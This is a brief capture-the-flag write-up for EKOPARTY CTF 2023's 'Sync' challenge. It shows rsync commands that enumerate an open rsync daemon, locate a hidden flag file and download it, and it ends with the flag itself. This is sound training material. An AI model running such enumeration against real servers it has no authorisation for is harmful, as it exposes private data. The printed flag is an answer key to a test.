ctf-writeup/2023/EKOPARTY CTF 2023/Sync

Sync

We use the latest technologies for backups.

About the Challenge

The website using rsync protocol to store the flag. We need to download the flag from the server using rsync command

How to Solve?

First, we list the directory first using this command

rsync rsync://go.ctf.site:10873

Result:

code
MJ code

Now, let's check the code directory first using this command

rsync rsync://go.ctf.site:10873/code

Result:

drwxrwxr-x        4096 2023/10/22 23:24:59 .
-rw-rw-r--          31 2023/10/22 23:24:58 .flag.txt

Woohoo, we found the flag. Now we need to download the file

rsync rsync://go.ctf.site:10873/code/.flag.txt hola.txt

EKO{rsync_&_critical_inf0_FTW}